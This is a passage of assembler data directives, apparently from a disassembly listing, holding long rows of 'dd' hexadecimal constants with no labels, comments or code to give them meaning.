1802645Dh, 77A9A369h, 3DE480F0h, 0D035C6DEh dd 4077E888h, 0E90CAF02h, 19397F30h, 31ED64D6h, 673C822Dh dd 11F4B130h, 8862A3C1h, 495F8033h, 0B57E76F4h, 696CDC14h dd 484A10A8h, 0FA9EE506h, 0B4A0C831h, 4823005h, 766049B4h dd 0E5105BE7h, 30DC3B83h, 0E76F2921h, 68F70F00h, 0C6A1C5FEh dd 5B320647h, 61343DCFh, 2A758311h, 0A0883018h, 23608DAFh dd 5D762920h, 0F8570560h, 0C1186E9h, 0D9C91BBCh, 44529914h dd 814C4890h, 1FDB7113h, 468C28A0h, 0F48C0262h, 316AA3C6h dd 445E1029h, 135301F4h, 70BC666Ah, 0B77BE886h, 903E7530h dd 3779AC85h, 0D2602FD3h, 0E5E0FD03h, 0FB50CE99h, 0EC49DBC8h dd 1035834h, 0C373208Ah, 0E560BC7Ah, 34F7BACh, 0E7BDD92h dd 8C92ED2h, 108193A5h, 0C1AD5C08h, 0E9733366h, 0C01E186Ch dd 336E6521h, 0C70294DEh, 0A3AF45FFh, 409C6A29h, 8A1FD1C4h dd 0D2705441h, 58186E11h, 0A3CAF408h, 4337C44Ah, 0A0F4505Ah dd 72BC63h, 6F165CE9h, 0F0A887CCh, 0EC7EBE00h, 0AF7658F3h dd 4C5124B3h, 60504418h, 7966E771h, 0C03A42E5h, 0E9E76A62h dd 56D401A5h, 9AD95F7Bh, 0A8F0D41Fh, 1A21FB14h, 42513A6Ch dd 6036E91Fh, 3FA9AD09h, 0F208076Eh, 43221EC2h, 0AC3ACDA4h dd 1E000B23h, 783907D3h, 23728Ah, 1DE5AFD6h, 0EC6C3A34h dd 0AC0B4026h, 0C1816F11h, 0DEB6B1C5h, 7740B433h, 3047C5B9h dd 0F823EE26h, 8224AF44h, 11206BDCh, 0CE4D8BA4h, 0CF8662D0h dd 8C26F909h, 826908AAh, 6847AE04h, 4C2379FCh, 0A0996435h dd 1DC71869h, 66B6B3C5h, 0BF7570FCh, 3FFFC500h, 0B0A0E793h dd 20972AEFh, 5D56068Ch, 18CBADACh, 159D22h, 3591DAA5h dd 61D25C3h, 0FFBAD400h, 9AA8121h, 7BDCA02Dh, 0A7200CEBh dd 0AC1047F5h, 0F78DD600h, 2CAD656Fh, 0C827C48h, 4E47793Bh dd 130921C0h, 110485D0h, 8BE1690h, 0C706AFBEh, 0B9360E60h dd 87C13Ah, 35C568CFh, 59CAF796h, 318BCADh, 0D61E4101h dd 0C4311D01h, 54CAB38Bh, 0A1C8C70h, 2C84C382h, 11B70034h dd 0F7B7A91h, 23B39204h, 74806EC4h, 0B976C5D1h, 55860024h dd 631FE9DAh, 3390B464h, 94C16A40h, 882F549Eh, 0B516E029h dd 61170597h, 88D7D20Fh, 0A0F64C48h, 803DAD3Dh, 6C315BD5h dd 7FBA6DAh, 0E6494180h, 0BA785026h, 82125376h, 0B0221465h dd 0E7753044h, 8BE55A0Bh, 47C163Bh, 5FE76E2Eh, 520C80ACh dd 41773CDAh, 0A22E112h, 2E033805h, 524E8040h, 2F24ADh dd 0D305A61Eh, 0A0E8EA7Ch, 7194F936h, 48564680h, 0E56809F8h dd 0F5F0315Bh, 605C8180h, 84077AE7h, 0CBA92B09h, 0FC3486D9h dd 5091FD20h, 0E77C8057h, 9973E55Dh, 55B3C018h, 601D82E7h dd 80FD2063h, 0ECD5577Ch, 7B5F0D0h, 3023FDE1h, 0B403D16Eh dd 0AD1C6413h, 35832116h, 3F79FC21h, 3260E835h, 1B4404F9h dd 8006D611h, 4667F5A8h, 8568800h, 6879EE0Fh, 5E6A007Bh dd 0BE74709Ch, 7D745497h, 0C2943402h, 607B47E1h, 2C469684h dd 13243203h, 0A8BE00B8h, 0D2E9B688h, 64707348h, 9090F529h dd 7B5BA3BDh, 0F19F002Fh, 0AF1DF70Ah, 4629583h, 482A8520h dd 0E40550h, 0A3B0D5D4h, 80F3B9A2h, 8DE70D01h, 0BBAA39C9h dd 4C27B6C0h, 0BF237C18h, 71336001h, 1F18BCADh, 13705B89h dd 0CF1800B1h, 239F627Ch, 0A6E03B3h, 0B99B2021h, 1FC8D8DAh dd 0ED36901h, 932519BBh, 0C79400FDh, 9E89254Bh, 1989C5Dh dd 18D4859Bh, 39D082DEh, 63650956h, 944Dh, 74830E37h, 97F7C312h dd 41034020h, 541C92F3h, 0A29A94BCh, 622C67A8h, 91917F4h dd 265D72C8h, 40BC8AD4h, 526644E0h, 0A3B853EEh, 0B3A80A05h dd 0B80519A1h, 0BEC058E5h, 0A0349F79h, 19A57ED8h, 90C635F2h dd 0A745108Eh, 68165DB9h, 0CB647912h, 0C03DC804h, 0A177CC61h dd 0B1D2490Ah, 0C60F8DBh, 0E4DE833Fh, 0FFE60C38h, 67ED762h dd 1727B904h, 4B80F4D8h, 2CAA9CEBh, 7CC004E5h, 5B000B46h dd 38581801h, 2F0098DAh, 56E9E6B3h, 24602999h, 839C3B0Dh dd 859725A3h, 731824E0h, 481AAE26h, 4BF5465Eh, 3F288502h dd 0FEB08098h, 184E8870h, 0C832A19Ah, 7928CFA7h, 0FD00B02Ch dd 6208E258h, 0D60EEFh, 41D768Ah, 0ABF47D3Ah, 0F893707h dd 383CCB3Dh, 0F024412Dh, 3861E5A2h, 4003E051h, 7B093022h dd 6CC4BDF5h, 0E62D3E02h, 0AB4DE831h, 912497C0h, 0EDFF802Eh dd 607031BCh, 9943191Eh, 0F494FBAAh, 4720288h, 88FA8411h dd 973DDC98h, 1174DCE8h, 470131E9h, 3E128565h, 0C028804Ch dd 64563318h, 0BED00B7Bh, 20A2680Bh, 584876E9h, 2A1BF1A7h dd 0C87023D1h, 18B45E7Dh, 20361AE1h, 28146A10h, 0F12055ACh dd 5918C591h, 28609C2Eh, 0E1C5B4C3h, 1C1828B6h, 0C5AC808Bh dd 1207272h, 6AE30711h, 39D81D3Ch, 1B017328h, 0DEC39503h dd 7ED8CBF3h, 141F0001h, 0E5AD7ADh, 3D3CD99Bh, 64084E32h dd 0C5CBC055h, 0C046B65Fh, 1072222h, 90CFC5C3h, 0E4A721D2h dd 0E92D37B4h, 99A38081h, 0C0A44DC2h, 8030224h, 0AA68FE82h dd 6284797Dh, 3C580785h, 0F78B9000h, 6052288Eh, 0B1B5001Dh dd 0E669FD3Dh, 3BE0E19Dh, 0DCBF0200h, 879619B6h, 0B9FE009Ch dd 0D5694E1Eh, 0C270DABAh, 0B3805000h, 0A1673FD0h, 0EF84003Eh dd 104ACCAh, 0F9005B6Ah, 0A32F0A23h, 0CBF082h, 9DFB0880h dd 0C420CE36h, 0F9CD4001h, 6CACD91Ah, 2301470h, 0AB96AF4Ch dd 0C7406D44h, 0BCC09828h, 0A59534C9h, 4EF0E6h, 0AEC640DFh dd 7AD9C8B7h, 0FFA3D13Bh, 6A242398h, 96006EDEh, 36D38FC2h dd 9410011Eh, 4E3D903Fh, 0FA5EF86Ah, 0EBDD8600h, 89655D26h dd 94126BDh, 7D803C23h, 4D915E8Ah, 3E00F854h, 736FDBC2h dd 0D3EFA0h, 0DF19FE16h, 72AD96A7h, 0B0F3BC3Ch, 7D210DCh dd 4BBD1CBEh, 61934080h, 98DBC32Eh, 0E7CC4800h, 37427591h dd 0D2A700E5h, 7DB4CF3Bh, 12002BF7h, 0F9DA9267h, 0C67581h dd 0E3B5E169h, 6D267E2Ch, 673DA707h, 5307F16Fh, 1AE49FF0h dd 78866073h, 0ECD25FBAh, 93EA4A07h, 0C90DBC8h, 1B06847h dd 0F9BDCD72h, 0EC35FB26h, 5500C464h, 0A8D68F39h, 4C0E03h dd 0C9364268h, 0A946BB87h, 0DEAB730Ch, 1E6348C6h, 0A4E40408h dd 0F0D5BE24h, 0B88880EBh, 2CE0A113h, 228630h, 0D48D2E1Dh dd 0E5B220BAh, 0D3CA9A00h, 0A1B7FD4Ch, 671B0008h, 0CE8D61A0h dd 781FA7EBh, 9C002B0Eh, 0D30D9845h, 0FF69C0A2h, 4479161Bh dd 0C735E400h, 5AA0F25Fh, 0E6BA127Fh, 5914004Dh, 0BC87C3C1h dd 0DF945500h dd 2739CE2Bh, 71500519h, 80B783EAh, 20E02A19h, 0C8907338h dd 0CB870428h, 0D700AB3Eh, 0D55258A6h, 6E257200h, 9ED244FBh dd 2030022h, 0CE99387Fh, 0CA00131Fh, 206ACC70h, 76BAEEh dd 0E347F26Dh, 0ED3788E0h, 163B6100h, 0B1B0C31Bh, 40FF00A4h dd 255F05C4h, 6E42F24h, 44F0701h, 0A4FE5ABDh, 710CF9EBh dd 0EA67E8h, 2B1ED5A1h, 0BA280275h, 0FA0AC972h, 0E0DE6F57h dd 879EF200h, 243F8Ch, 0CB98EA6Bh, 0DC05DB8Fh, 0F380E100h dd 0E099063h, 7C57246Eh, 464080B8h, 78B916Dh, 13DAAE00h dd 42CB26BEh, 0F3503E09h, 0C19DCC96h, 8034D72Ch, 4656D4C9h dd 25F52Fh, 6C6ED5A6h, 0D15F6533h, 0ED54A201h, 2A668271h dd 0C70C60h, 325389E6h, 0C972F13Ch, 0F56900Eh, 9D7A205Bh dd 0DFFA06h, 7627031Ah, 26FB3CCCh, 1FC4B1Eh, 7CB31780h dd 0C1AB18h, 2EF4FE73h, 6516C26Bh, 0ED01F174h, 96A40A0Dh dd 0E4500C7Ch, 66C7D655h, 0D8F41AE8h, 7875FD26h, 0B2685880h dd 154C0Ch, 7462EBCCh, 0D4F81BA1h, 0E382BF00h, 40D65EB4h dd 1C434CF4h, 0C484B303h, 0E8BBED9Fh, 6A98A988h, 37045F00h dd 4DF63F93h, 0ADD53B67h, 80C5F99Fh, 7CF3EA9Eh, 6C00EC37h dd 840FCA79h, 726F888h, 9DA5D423h, 2E400B3h, 280CD7CEh dd 202C4BFBh, 3278047Ch, 814D99A6h, 342504B8h, 37124FD4h dd 8F0660F0h, 51981Bh, 51D9E827h, 0D7977646h, 0C315D400h dd 0F04F49BAh, 441E03EDh, 96758419h, 0FBBEEBE0h, 7BD71107h dd 87EE6DF8h, 1FB086ACh, 1CC5E73h, 46FFAECDh, 30210678h dd 3679A9F0h, 4E0DE001h, 0FB4233D0h, 0EC78ECh, 91D9B6DDh dd 51C41483h, 17A1E401h, 0DB27A76Bh, 3E4E30h, 0D6FF6DA5h dd 0C9FB909Ah, 7636F600h, 0D1D0A37Bh, 40E059h, 0A7A6C009h dd 0AE480A9Fh, 0D7148018h, 77C2C462h, 545F07E2h, 0C0E4D1DBh dd 0C8F0037Eh, 0D9958F00h, 72AE56E8h, 0EEB00F3h, 7B171147h dd 0B600714Eh, 4D825ABh, 5CBC3Ch, 9939886Ch, 29BA48E7h dd 7E868E00h, 56D8D6E9h, 0B17D00E5h, 0B8B5950Ah, 25008FDCh dd 1C67A4C4h, 5B49D9h, 94131EEFh, 3E45D783h, 6E61CCA8h dd 8065EE3Bh, 0D00C1FF2h, 1FC8D57Eh, 1E29290h, 0AE975718h dd 7E9D708h, 1CE832FDh, 89DE6217h, 1F705181h, 7880CC47h dd 0D92253CFh, 0D8A0C02Eh, 0F2E43806h, 0E827922Ah, 10A89800h dd 0BE087615h, 30CD0061h, 0F28C4504h, 0B3093B84h, 21921888h dd 2C7B23DCh, 4CA034C4h, 3A00C081h, 0D0523113h, 10C083F6h dd 9812057Eh, 8DC2148Bh, 0BB39A8B1h, 0EECDCA86h, 61FB4178h dd 3A077FB6h, 0FE1194A3h, 44208A2Bh, 248B71F3h, 94B4B262h dd 8FC08CE1h, 457ED173h, 2C76DE07h, 6073F8DCh, 885FA03Dh dd 8319009Fh, 0E26D84B4h, 0AB00C81Fh, 311A224Fh, 1E98D1D9h dd 0CF8748A9h, 40C08FDFh, 1637F160h, 5EDBBB00h, 842F8141h dd 8ACF0FF0h, 8B80E951h, 0E229386h, 20F0AA7Ch, 497E100h dd 0BD6429DCh, 0EB7003C0h, 754EC179h, 0E4EC1107h, 7C90ABF2h dd 0B0679EDDh, 0BE7F07B4h, 0A054988Fh, 182850EAh, 12C0C700h dd 8D0B056Ah, 5F300091h, 8C7C16D4h, 0AF00F4A1h, 67210D2Ch dd 9FD3DAh, 818BAF5h, 4562B7E0h, 0F3DB7A24h, 0A9BE1100h dd 1F833AEh, 0D7E9799Ah, 0DCE39FFEh, 0D5000673h, 0F1A778B0h dd 989E5A5h, 0B3AF6D14h, 90ADAC01h, 0C3E7C01Ah, 33252F00h dd 0E47FD011h, 0F7F02CE5h, 905B80E8h, 2B24968Fh, 6E466707h dd 1D41BA9Eh, 0EAD4E93Eh, 25560042h, 0D0CD7EC8h, 780FCACEh dd 605E88D4h, 8C2B440Fh, 0BF0900DAh, 0F94AEE6Ah, 6B1E570Ch dd 7A2DEDh, 0D7E8583Ch, 0E2EEAA55h, 0DCCD1FB7h, 5F66C069h dd 0B88046F5h, 25E1905h, 0A3C0DD45h, 94649Fh, 331AB58Bh dd 61014BDEh, 0B1227609h, 80884847h, 32E48FCh, 53F2400h dd 0DA185B13h, 2F07100h, 0D98A4FB4h, 0D3E1BDA7h, 66D43480h dd 797AEE00h, 6D17CA47h, 0B62F001Bh, 0E56E484Dh, 0FF4BA0FAh dd 0C3C01002h, 3C287ADDh, 990FE64Dh, 78A31403h, 180A6841h dd 0C3487CADh, 1C116A19h, 5560E0h, 0C6182286h, 5DDFE513h dd 50F68000h, 0D94D15A3h, 90BE2D5Eh, 3A64F82Fh, 37F0B017h dd 0B969E1C7h, 13B651C0h, 0CAF0118h, 34DB8548h, 5C3AC8A7h dd 1AC47300h, 552460B9h, 9B3D14B6h, 438590E6h, 520F5E2h dd 7A4C805Ch, 0F3901194h, 407ECD00h, 0BF9B56ECh, 216100D6h dd 11A9C114h, 0DA00B805h, 281602EDh, 103B65h, 0C9B2A4B4h dd 0C52DDE81h, 802030FFh, 38F39D00h, 4445F726h, 0D1C83D03h dd 0B858EA80h, 0CAEDAEB1h, 80525F3Fh, 94935612h, 825C88h dd 1B73C7A0h, 0D225DECh, 1FF4873Ch, 4200AB83h, 93691329h dd 3317001Bh, 0A4C1CAB3h, 0B93E823Bh, 2B748946h, 2930011Eh dd 5D073FAh, 5CF460h, 0B215F0B9h, 0AF262490h, 6CED7100h dd 0A9A36E30h, 4E2BE1FBh, 0CE97931Ch, 0CA14C8A0h, 0D2A5008Bh dd 310EB1A6h, 7754BCA8h, 0DC18B1Dh, 0DB9076C0h, 0B67EBFh dd 181F3ECh, 0D9A21C5Ah, 0F2996639h, 9051D231h, 4084C144h dd 0B36E9C56h, 0C5C602FCh, 3318B68Ch, 0BE7240ECh, 2D23C5h dd 660B22F2h, 0B3AD77F0h, 2C0F214Fh, 0E8B9D984h, 25C3C8h dd 63B254C6h, 7A934120h, 5E5FD800h, 0F1A9FAFh, 8BE49C6Fh dd 20690E10h, 0FA2E20C8h, 77DCD900h, 1B95AC74h, 0C1F64A11h dd 0DCCB63C4h, 495F3A4h, 0A0E256D8h, 21C0D8E7h, 1D9F55F0h dd 0CED4403Bh, 0AFE3FF13h, 9809C311h, 259DAC03h, 0DC01A0D0h dd 4CF7E3Dh, 0E6ADE440h, 0DB9900CDh, 16290A2Eh, 4F03406Fh dd 0BFC1E2F1h, 0E047CB8Ah, 5E86C8Dh, 0C881752Ah, 0E338C005h dd 23C3957h, 158601A2h, 0B268BF61h, 1419A70h, 508DA984h dd 0F034E56Bh, 0A538A195h, 2653803Ch, 0D5EAB044h, 1F50088h dd 33DE5A75h, 1A48E39Dh, 8158009Ch, 1C44FA68h, 5B3418E2h dd 75C1497Ch, 0DA1FCE00h, 28446E62h, 6FBA00B3h, 6DB53802h dd 0DB00FBC7h, 9D55E2A1h, 7DF8785h, 6525A247h, 4AAE057h dd 796FF33Fh, 77952751h, 8E899080h, 0A0D3727Ch, 0ECF4F9h dd 0C4606A27h, 651740B5h, 8955600h, 0FE53EDFh, 7185393Ch dd 0FB8A600Fh, 10A7A166h, 7C52660Eh, 38892E5Ch, 6745B580h dd 0D08E7174h, 0E29E6910h, 0F185D406h, 384AFDh, 567993B3h dd 0C73FD509h, 0B9837600h, 47B41A4Eh, 38E91E03h, 5B404FB6h dd 0E3C84DE1h, 3904D43Ah, 144EB100h, 0C6D58143h, 3CA80738h dd 20FD70DAh, 48DCCFB7h, 877BF31h, 20804333h, 0F0FCE805h dd 0F1024E2Ch, 9F27EBD1h, 4F3C4085h, 703760DBh, 0F0F3416Eh dd 0E9A8A23Fh, 40E88C68h, 76771244h, 0C13F849h, 20A7C8A2h dd 0B781C03Ah, 0C54F232Eh, 9F293E06h, 44203D8Bh, 0B6003A92h dd 3FF7E491h, 45C3EAh, 1D300D16h, 50BF297Bh, 826C4350h dd 0FCE5028Ch, 0D3E7B769h, 7C102419h, 9F0FFD1Dh, 4084207Bh dd 0CF3BCB4Ah, 50376CE0h, 25036B98h, 3D9A3EC2h, 0B667C38Dh dd 0FCF6A8h, 9189479Eh, 1B296BD3h, 0B59A4503h, 0ABC3EF90h dd 654CC841h, 0BC1000ABh, 26600128h, 310047F0h, 0ED6145B3h dd 1F23A213h, 87E83932h, 0D04B088Ch, 5170A918h, 6EFFB00h dd 20FE2DA3h, 0D0B80052h, 0EABFC5C0h, 0ED03F702h, 0C9AC2C51h dd 914080AEh, 0A7060EB8h, 4F00DC87h, 0FD834715h, 691C7800h dd 0B1563D36h, 0BEDD009Bh, 0D80AFB62h, 0B8000EF9h, 4EFAC9A8h dd 7D3C50h, 0DF16E578h dd 91709A98h, 5EB9AC00h, 0E01CDE97h, 3F0803A5h, 665FFB47h dd 7A2BF0D7h, 0D03D7FAh, 0BF4E9068h, 1E42C8FFh, 0EFFE00A7h dd 0A1011FE7h, 0E00089C6h, 0B1BD414Ah, 0EC8AA2h, 0F2D39D3Dh dd 0B5B34D67h, 324C5600h, 3646E29Bh, 0DA4B0016h, 3B91F0EEh dd 0E83A0F0Ah, 0B2129E94h, 0BBF4B940h, 165DFBh, 190CB1D8h dd 793FAAFEh, 4F0058B8h, 0F3EF55EBh, 531D47h, 27966F0Eh dd 0BA02B986h, 980FDE73h, 0C2B4Ah, 0E64733BEh, 7AC10983h dd 0A100C56Dh, 17A03130h, 199D3901h, 0FB08623Dh, 4278F8h dd 8CDE7D54h, 0B8B704C0h, 0FA307560h, 0E35E67h, 95413F6Eh dd 0CCE6C264h, 40850E00h, 0E82FAFABh, 54801B4h, 0F4B68865h dd 7270C4C1h, 0B9003D98h, 333B2C36h, 1698EC9h, 3C018C40h dd 206382EEh, 5A00BE60h, 72D6B915h, 6DB713h, 6F277C0Ch dd 0A4201F12h, 0EF12A0Fh, 0BC005C5Ch, 8AF2C850h, 5FB8A826h dd 519B4CE3h, 0FB242C00h, 54986871h, 8AE6FA00h, 0D34B5935h dd 6F734Eh, 1D4C91DBh, 506A9DD0h, 99F8E500h, 5C46A33Ah dd 4FF4001Fh, 12700B13h, 0F63DF372h, 0A823A8D8h, 0B36ED202h dd 0E0DB3B3Fh, 4F6FC2h, 2498B439h, 3A05F330h, 894E6B26h dd 0BF493400h, 707CEA8h, 6713B515h, 0EE7550BEh, 93019CFAh dd 55D1D634h, 0F4E812CBh, 4E450EC5h, 0C4E02BA7h, 0D1D7E702h dd 32B1BB00h, 1D797557h, 85A501ADh, 0EE62DEE6h, 0A220E0BCh dd 4A169BF0h, 0CB189328h, 0EB3F1230h, 0EF5020h, 0F5E76727h dd 0CD136D7h, 9FC5161Dh, 7228F700h, 552BDBh, 0D237EADDh dd 0CEAD2D2Ch, 0F5306971h, 0A1D11844h, 5E7F0042h, 0F8244F0Ch dd 9200F280h, 480B1634h, 0A48B19h, 0B28C7EEDh, 4EECDB54h dd 210F8671h, 616DABA5h, 0F503820Dh, 8A84CCh, 0EE30F755h dd 458E663Dh, 9487FA00h, 0CF933C49h, 0EC7B00F3h, 5DBE960h dd 31C5D82h, 0BC47EDA5h, 22309A1Bh, 287F1A12h, 0BCECD5h dd 0F4F1B48Fh, 0CE35A5F6h, 97286A00h, 0B0C243B2h, 3E24009Ah dd 9F2C5BA9h, 4500B908h, 0E1F3E8EBh, 7B844D4h, 0E77D490Eh dd 58F7A079h, 3FFE100Fh, 0C9AEC00h, 0D3121F5Ah, 497E0797h dd 80E22BFCh, 7D80F22Fh, 0D8BD7003h, 0B8C26242h, 0E894AFh dd 278F9222h, 5305EFB1h, 2900D57Eh, 33F37B69h, 38C4E0F1h dd 9180F8B7h, 7FE86166h, 0B93FC39Dh, 0F0398023h, 0CDD9FFDAh dd 3B7616AFh, 37F900C0h, 1F53AAE8h, 0EBEFC102h, 60E3A369h dd 733521B4h, 28603EA8h, 0C1C78084h, 2384C00Bh, 66300725h dd 72FC0A5Eh, 3F7E00EBh, 13F076E1h, 3572A4B4h, 0AECC1900h dd 0B1B033D6h, 0ACED4820h, 2EBD9901h, 344FF28Ch, 8700CA60h dd 0E06D5383h, 0CFE3CDh, 0DF9CEE66h, 6973815Eh, 0EBDBDA06h dd 1140A4h, 0F886EACFh, 4CDE8D9Ah, 1859FE00h, 92EB5736h dd 0CF90069h, 1B97A723h, 0F200C081h, 0DDB4EFF7h, 2602A4CCh dd 2469FE0Bh, 4D090400h, 49B4CC4Bh, 82650618h, 340F868h dd 6EEB8915h, 2DB8936Fh, 0D50980FFh, 802766ABh, 738C10D3h dd 2B080001h, 1F918B1Bh, 4E00B60Ah, 0B1C2217Ah, 20FC5DFh dd 1E0460Dh, 0DEC09470h, 0A900FACEh, 405A3143h, 1B49361h dd 209CAD6Ch, 0D8FCC80Ch, 18157CC1h, 7BCE526h, 24B1037Ah dd 1F82DA80h, 0A5CA0005h, 2AA9DDBFh, 39287075h, 0E00F8A4h dd 85E56D27h, 3ADDC754h, 0CB3A4C7Ch, 3B9A0206h, 0F1005007h dd 7E1FBA79h, 3A4F45F7h, 300D778h, 2168BB32h, 0D8B0F882h dd 96182550h, 604E7A30h, 1405C72Dh, 50BFA474h, 0BC81D73Fh dd 45FF781Fh, 0DCE3F498h, 0AA05AF01h, 3A70742Ah, 0D4503508h dd 30C37E1Ch, 0A0CAF64Fh, 0A04777FCh, 0EA0D14h, 5DBB732Eh dd 180929C5h, 0DBA06A03h, 0F8510B83h, 0E09EEF26h, 0EBA2D77h dd 1E3B89F8h, 0FE1F0015h, 0F53AA454h, 0D9BD1EEBh, 0D712401Bh dd 20D6977Fh, 0D44BF100h, 3761EDD2h, 0C1570E0Fh, 3E6046BDh dd 424729F7h, 0C0E79C00h, 60DA433Ah, 7377CEFh, 7B2834FCh dd 3151F138h, 24A9E0E9h, 0A8BD3Eh, 1BF8928Dh, 1424C97h dd 7B0EC83Bh, 60CB36CCh, 0DAF0D918h, 0B8E0CA60h, 0AB8F0603h dd 410E1B0h, 941E1980h, 77A5F79Ah, 81118700h, 4AB936CDh dd 0D6E48Ah, 97F47A71h, 6603690Ah, 0BB036892h, 94A0AB0Bh dd 8AA3F952h, 0C8CAD0h, 2AAE1872h, 87065196h, 6B7188EDh dd 0C90CBC9Fh, 5F19B01Ch, 15F246FAh, 0A52F6902h, 4275347Ah dd 750006Eh, 0BF88Ch, 815DAD85h, 631D839Fh, 3E04D201h dd 8E12303Fh, 3FE2DCC4h, 0A98D3851h, 0C0A95F03h, 3F00C311h dd 0E2651727h, 983AB63h, 578D982Eh, 20123005h, 7562DF90h dd 90370103h, 9881FA36h, 5060A86Bh, 0DA281Ch, 7BFC8C53h dd 7537B1E2h, 0F69F358h, 6C064428h, 0C98D9A2h, 6803D60Ah dd 2500E739h, 7BB5DE11h, 5CEED0h, 7DC54DD8h, 57033785h dd 9FD129C0h, 0D09702h, 3E740FC0h, 0B725F010h, 0A91FE573h dd 9480F331h, 4BC7FC96h, 0DF521DBFh, 97F60074h, 4F8C2F57h dd 7D130490h, 0CC40FC59h, 4BD627F4h, 9EF70597h, 84A0A728h dd 6CC8406Bh, 0E7D2807Bh, 4A7E5E00h, 499ABB8Eh, 0DF0E1554h dd 0AA019021h, 837B625Bh, 0C403F0C5h, 61E45830h, 0EAA094Ah dd 0D0494048h, 9900358Bh, 0BF9F5F8Fh, 0E0E05472h, 9C4840EFh dd 3E0026A1h, 0B108559h, 0C00D0AC6h, 566CDB69h, 1800CAD0h dd 0CD8CD547h, 6FEBA7Bh, 0AB6B8BA0h, 0F8C3B9E4h, 0E81D9C07h dd 0E8EF7E01h, 215F326Ch, 82230BB8h, 80310E0Ah, 93E27BA4h dd 426009BDh, 1EF46055h, 87C2CD3Bh, 8D0EF404h, 2D4400A9h dd 0ABAD1C7Eh, 9EC5E0E8h, 398A00A0h, 0C374A11Fh, 10906C82h dd 681C6F11h, 97130F00h, 0E84DC138h, 9231B200h, 6345FB4Bh dd 77A000EBh, 984C66B1h, 0FA547E18h, 3000D88h, 0DCA5D7EAh dd 8CDEEBh, 73690F9Fh, 55180776h, 88369500h, 905F1B75h dd 7B992848h, 1F1D006Ch, 51CB2A8Dh, 0D3FCA6C2h, 44CEA700h dd 0A4863620h, 0AAA58DEh, 0B14C3900h, 0CED38CD7h, 0AC955801h dd 618E0676h, 986BC18Fh, 0E1585918h, 0C9FFA1C0h, 4A0BEAh dd 298693E4h, 8A97A967h, 6153F09h, 212C9380h, 61038DD8h dd 7F98316h, 0CAA75E51h, 7FED70E1h, 0D6F58DAh, 5A24039h dd 0E9D05Bh, 44130851h, 8B526CC9h, 94634975h, 18C58h, 0A5CE8631h dd 9568F44Ch, 6580D50h, 0DA7421C5h, 64C9A380h, 88D0486Ch dd 5D05E000h, 73A90117h, 0F4A8A164h, 0C82B720h, 0E09A4D88h dd 69140097h, 87F555E9h, 45007EE5h, 4BAAAF62h, 292CF2h dd 0DA7B0D13h, 33EC2E77h, 0DCE25D00h, 1F74DEE4h, 4D8126CFh dd 3582B7Ch, 732C6A4Bh, 2B707AB0h, 84A31A01h, 7818BABEh dd 55038848h, 2BD8A8AAh, 87BB0005h, 7A6708FBh, 1D1248ABh dd 70400C0Ah, 0F98ED141h, 0C8A900E9h, 0A6E6EA52h, 3A4C8C8Fh dd 3C142270h, 6B948201h, 6784489Eh, 2EF48130h, 0C6A51015h dd 200D309Bh, 36AEBA11h, 9F59762Eh, 413A7828h, 0FAA71494h dd 40620224h, 824D8206h, 90FB70D4h, 0ABDACh, 8C8E9BCFh dd 0CE13743Bh, 534B0807h, 0D80C8FAh, 176C6B0h, 0A36BAAEDh dd 0CCF98172h, 517E208h, 0E2051E55h, 780A350Dh, 9900607Bh dd 0E5742721h, 53BE12E6h, 23812D1h, 0A8B4DE0h, 2B5C34C0h dd 79E4780h, 0F7984818h, 0F47C43B3h, 3AECCCBCh, 93898400h dd 469FBF8Eh, 68EB012Ch, 7A187362h, 0A0D180FAh, 971D2DCh dd 27B3097h dd 1729B389h, 35DF3E09h, 0C20802BEh, 0F184C3EEh, 5022829Bh dd 0C96AC300h, 9059DCDFh, 3F63A73Bh, 550607F6h, 1FD0A4B7h dd 0C6019F68h, 79E25831h, 9BE9A500h, 811E357Fh, 117004F6h dd 9008588Bh, 86C28C18h, 0EF657A04h, 5080B75Ch, 4CBE8EA1h dd 6C87AC11h, 0A9E38145h, 9E35C4EAh, 43006890h, 8FC9A14Eh dd 0F8849A32h, 0E6360972h, 1807515Bh, 1091F76Fh, 2C3DD8Ch dd 656A505h, 9C46637Ah, 0F61050Dh, 0CA47CCDEh, 0F0D9E607h dd 0F3940CAEh, 7B9EFC02h, 66C9150Eh, 58FAA8h, 54E8C539h dd 328E4830h, 9310F603h, 0BBE4DDABh, 6446F07Bh, 4830902Bh dd 3B00601Bh, 7A787935h, 69184932h, 0B851EB0Eh, 734E008Ch dd 0DB62AA8Eh, 7090222Bh, 6F891D1Dh, 0BE461A00h, 1E9A69F6h dd 43A6D76Ah, 0B2EFB1CAh, 75DBFBE8h, 0EC76063Ch, 534851h dd 8DDDEF97h, 0D1668C47h, 0B9287B1Dh, 0B2023C2Ch, 0C0F0361Fh dd 4023E8Ch, 959B03F6h, 5A0C882h, 67394100h, 0E81B6C72h dd 9944005Fh, 0C431497Eh, 58998C19h, 64E90D0Ah, 41077B0Ch dd 0AD9B00F3h, 1636CE5Fh, 8900CDE2h, 1BEADE17h, 18D2F703h dd 391F11ABh, 73005052h, 0A04E229h, 953408Dh, 3618A5C2h dd 649A301h, 7B704085h, 0D709B6ACh, 18D351EBh, 16384h dd 56BDE0E9h, 94CD52AEh, 93058200h, 3D9761AAh, 1C4E258Dh dd 0BCE60420h, 3F0EE0AFh, 0E3A7C85Bh, 0AC082596h, 8E2FB4C0h dd 0C0587076h, 0ECDFBFE9h, 7A3BF96Fh, 0AB3E8152h, 3F340532h dd 0F214A0EAh, 29BDE50Bh, 38C0AC2h, 3BA28D05h, 64437898h dd 2694FC38h, 3188108Eh, 3BF0B014h, 2C1CCD38h, 1F9AA5Dh dd 66DC8FC8h, 0B9E86A7Fh, 24699014h, 4048036Eh, 62BE0534h dd 12E6B41Eh, 0C0FCBA44h, 2221A0C2h, 18C48718h, 7739BD00h dd 981274D9h, 47548F0h, 5AAB5302h, 0A8982934h, 0A9085F2h dd 4D66431Fh, 0FD41389Fh, 50F36F73h, 9831EAE1h, 83B17C00h dd 0FE6B0986h, 0B0B09E68h, 7538DD1Eh, 0D12E1F7Ah, 8178DA14h dd 0FF8C6B93h, 8806318Dh, 9395E151h, 0DC002B20h, 72706169h dd 9D408A0Bh, 0CE7C1A10h, 562A3Ch, 5212268Dh, 42E8134h dd 3908309Dh, 0D85087E8h, 0FA21DD80h, 9462F2h, 4EAA8FDAh dd 3606D51Dh, 764B3A00h, 74CE6533h, 1768B8C9h, 2016FCE1h dd 0B9905830h, 0E0FB2E0Fh, 65E540CBh, 0E6266BDCh, 0F5290460h dd 8027BBAEh, 0B99A3A38h, 1894520Ah, 7640C40Ah, 3090CDEh dd 8FAEF607h, 7EC0EDA9h, 0B106D0A6h, 